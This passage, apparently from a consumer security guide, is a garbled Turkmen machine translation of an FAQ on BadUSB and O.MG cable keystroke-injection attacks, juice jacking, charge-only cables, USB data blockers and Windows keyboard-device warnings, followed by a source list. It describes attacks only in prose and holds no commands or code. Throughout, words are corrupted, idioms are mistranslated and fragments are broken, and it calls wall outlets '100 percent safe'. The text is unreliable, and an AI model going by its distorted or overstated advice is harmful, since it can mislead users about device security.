BitLocker+VBS) ** Windows Howpsuzlygy> Enjam howpsuzlygy> Thunderbolt / PCIe DMA hüjümlerini duruzmak we iş stansiýaňyzy elmydama gulplamak üçin ýadro izolýasiýasy (Win + L) nätanyş USB kabelini dakmazdan ozal, düwme urýan injektorlar giren iş stolunyň gabygyna girip bilmezler.
Freygy-ýygydan berilýän soraglar¶
Zyýanly O.MG Kabel ýa-da BadUSB şnury, diňe telefonymyň ekrany gulplanan wagtynda daksam, meniň iPhone ýa-da Android telefonymy döwüp bilermi?¶
IPhone-da bar bolsa Sazlamalar> IDüz belgisi we parol kody> Gulplananda girmäge rugsat beriň> Garnituralar öwrüldi Öçürmek (iOS 15-den iOS 18-den başlap) we kabeli dakanyňyzda ekranyňyz gulplanýar, hiç bir maglumat ýa-da düwmeler iPhone-a baryp bilmez sebäbi iOS, Face ID ýa-da giriş koduňyz bilen telefony açýançaňyz, enjam gözegçilik gözegçiligi derejesinde USB maglumat setirlerini öçürýär. Şeýle-de bolsa, O.MG Kabeli henizem dakylanda iPhone-yňyzy açanyňyzdan soň, kabel daşarky USB klawiaturasy hökmünde sanap biler we iOS klawiatura gysga ýollaryny çalt iberip biler (meselem Cmd + boşluk “Spotlight” -y açmak, “Safari” -ni balykçy / konfigurasiýa profiliniň URL-sine açmak ýa-da “Apple gysga ýollaryny” açmak). Telefonyňyzy açanyňyzda hiç haçan tapylan ýa-da ynamsyz USB kabelini dakmaň.
Hakyky "Diňe zarýad" USB kabeli bilen adaty USB maglumat kabeliniň arasyndaky tapawudy nädip aýdyp bilerin?¶
Öndürijiler diňe zarýad şnurlaryny maglumat şnurlaryndan tapawutlandyrýan kabellerde nyşanlary seýrek çap edýändikleri sebäpli, iň aňsat synag, kabeli kompýuter bilen köne kritiki däl enjamyň arasynda dakmakdyr (ýa-da 10 dollarlyk içerki USB kabeliniň üznüksizlik synag synag tagtasyny ulanmak) Treedix USB kabel synagçysy, hiç bir mikrokontrol açmazdan her içerki sim üçin aýratyn yşyklandyryjylary ýakýar). Üznüksizlik synag tagtasynda, dogry Diňe zarýad beriji kabel ýakar diňe VBUS we GND (2 yşyk-diodly indikator), maglumatlara ukyply kabel hem ýakylýar D + we D- (we CC1 / TX / RX USB-C). .A-da bolmasa, bagyşlaň fiziki USB Maglumat bloklaýjy adapteri aýal portuň içine fiziki taýdan seredip we orta maglumat nokatlarynyň ýoklugyny öz gözüňiz bilen barlap boljak syýahat zarýad şnurynyň ujuna hemişelik berkidilýär.
Gurlan USB portuň ýerine howa menzilinde ýa-da myhmanhanada öz zarýad beriş kabelimi AC tok rozetkasyna (2 uzyn / 3 uzyn diwar rozetkasyna) dakmak ygtybarlymy?¶
Hawa, 100 göterim howpsuz. Adaty 110V / 230V AC elektrik diwar rozetkasy (öz “Apple”, “Samsung” ýa-da “Anker” kerpiçini dakýan ýeriňiz) diňe üýtgeýän tok elektrik güýjüni göterýär we telefonyňyzyň USB kontrolleýjisi bilen aragatnaşyk saklamaga ukyply nol maglumat birikmesine eýe. Ulanylýançaňyz öz ynamdar AC diwar adapter kerpiçiňiz we öz ynamdar USB kabeliňiz, howa menzili ýa-da myhmanhana AC elektrik rozetkasy Juice Jacking ýa-da BadUSB hüjümlerini amala aşyryp bilmez.
USB fleş diskine ýa-da wape / e-çilim güýçlendirijisine dakanymda Windows näme üçin "Enjam gurmak: Klawiatura enjamyny gizlemek" açyldy?¶
Windows-da tost habarnamasynyň okalýandygyny görmek "Enjam gurmak: Klawiatura enjamyny gizlemek" bir zady dakanyňyzda däl klawiatura (USB fleş disk, zarýad beriş kabeli, arzan stol fanaty, sanly surat çarçuwasy ýa-da wape zarýad beriji ýaly) a 1-nji çilim çekýän ýaragdyr BadUSB / HID Keystroke sanjym hüjümi. Hiç bir kanuny fleş disk ýa-da zarýad beriji kabel hiç wagt Windows-da klawiatura hökmünde hasaba alynmaly däldir. Enjamy derrew aýryň, Wi-Fi-dan aýryň we PowerShell-i işlediň RunMRU we PSReadLine galp klawiaturanyň haýsy buýrugy ýazandygyny görmek üçin 2-nji tapgyra gözegçilik buýruklary.
Çeşmeler barlandy¶
- Federal Derňew Býurosy (
FBI) We Federal aragatnaşyk komissiýasy (FCC). - Milli howpsuzlyk gullugy (
NSA) & Kiberhowpsuzlyk we Infrastruktura Howpsuzlyk Guramasy (CISA) (Amerikanyň Birleşen Ştatlary): * Jübi enjamynyň iň oňat tejribeleri: Jübi telefonlary, noutbuklar we USB periferiýa enjamlary bilen howpsuz syýahat etmek *. - Graz tehnologiýa uniwersiteti (
TU Graz“InfoSec” gözleg topary): * “ChoiceJacking”: USB HID sanjym (USENIX Howpsuzlyk Simpoziumy) arkaly zyýanly zarýad berijiler arkaly ykjam enjamlary ylalaşdyrmak. - “Apple Platform” howpsuzlyk gollanmasy: * USB çäklendirilen reodeim, gulplananda garnituralara girmek we “MacOS Apple Silicon USB / Thunderbolt Aksessuar Awtorizasiýa Arhitekturasy” *.
- USB ýerine ýetirijiler forumy (
USB-IF): * USB Type-C autentifikasiýa, elektrik üpjünçiligi (USB PD) we adam interfeýsi enjamy (HIDKlass 0x03) Aýratynlyklar *.
Degişli gollanmalar¶
- Jemgyýetçilik Wi-Fi, Erbet Twin nokatlary we şireden goramak
- Sessiýa gutapjyklaryny ogurlamak, infostealer zyýanly programma üpjünçiligi we belligi ýatyrmak
- Telefonlarda “Stalkerware”, içaly programma üpjünçiligi we açar ýazgylary tapmak
- Zyýanly programma üpjünçiligi, töleg programma üpjünçiligi we içaly programma ýokançlygy
- QR kod fişing (isleg) we zyýanly gönükdirmeler
- Countryurt boýunça gyssagly kömek belgileri